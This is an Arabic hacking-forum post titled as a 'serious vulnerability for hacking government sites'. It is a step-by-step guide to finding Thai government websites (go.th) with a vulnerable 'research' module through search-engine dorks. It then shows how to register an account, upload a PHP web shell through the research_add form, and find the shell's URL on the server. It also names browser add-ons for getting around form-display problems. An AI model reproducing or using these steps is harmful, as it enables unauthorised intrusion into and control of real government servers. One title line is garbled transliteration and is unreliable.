ثغرة خطيرة لاختراق المواقع الحكومية (research)

barbaros · 07-06-2012, 02:55 PM

السلام عليكم

Dork 1 :

كود:

site:go.th inurl:name=member+file=index

Dork 2:

كود:

site:go.th inurl:name=research

الصفحة الرئيسية:

كود:

http://www.xxx.go.th/?name=research

http://www.xxx.go.th/index.php?name=research

http://www.xxx.go.th/popup.php?name=research

لرفع الشيل اذهب إلى هذا الرابط:

كود:

http://www.xxx.go.th/?name=research&file=add&op=research_add

http://www.xxx.go.th/index.php?name=research&file=add&op=research_add

http://www.xxx.go.th/popup.php?name=research&file=add&op=research_add

إذا ظهرت رسالة الخطأ هذه:
[

التي تهني : "أنت لست عضوا"

يتوجب عليك التسجيل من هذا الرابط:

كود:

  
http://www.xxx.go.th/?name=member&file=index

http://www.xxx.go.th/index.php?name=member&file=index

http://www.xxx.go.th/popup.php?name=member&file=index

لرفع الشيل عليك بملأ الحقول كما في الصورة:

---------------------------------------------------

بعد ذلك ارجع إلى صفحة البداية لترى ملفك:

كود:

http://www.xxx.go.th/?name=research

http://www.xxx.go.th/index.php?name=research

http://www.xxx.go.th/popup.php?name=research

ثم اضغط على "FullText" كما في الصورة:

-----------------------------------------------------------------------------

انتظر عشر ثواني:

----------------------------------------------

ثم اضغط على download :

سيتم توجيهك الى رابط الشيل الذي يكون كهذا:

كود:

http://www.xxx.go.th/dontry/data/research_1340954535_z.php

ملاحظة مهمة: في كثير من الأحيان لا تعرض الصفحة بطريقة صحيحة فلا يظهر لك هيكل fckeditor لذا يتوجب عليك استخدام متصفح Opera لتجنب ذلك او استخدام الاضافات ك tamper data او auto fill

بالتوفيق للجميع.

المصدر: :: vBspiders Professional Network ::

eyvm o'dvm ghojvhr hgl,hru hgp;,ldm (research)

أدوات الموضوع
مشاهدة صفحة طباعة الموضوع أرسل هذا الموضوع إلى صديق
انواع عرض الموضوع
الانتقال إلى العرض العادي الانتقال إلى العرض المتطور العرض الشجري

التواصل المباشر مع الادارة والاعضاء القدامى من خلال قناة التلغرام

ثغرة خطيرة لاختراق المواقع الحكومية (research)

قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات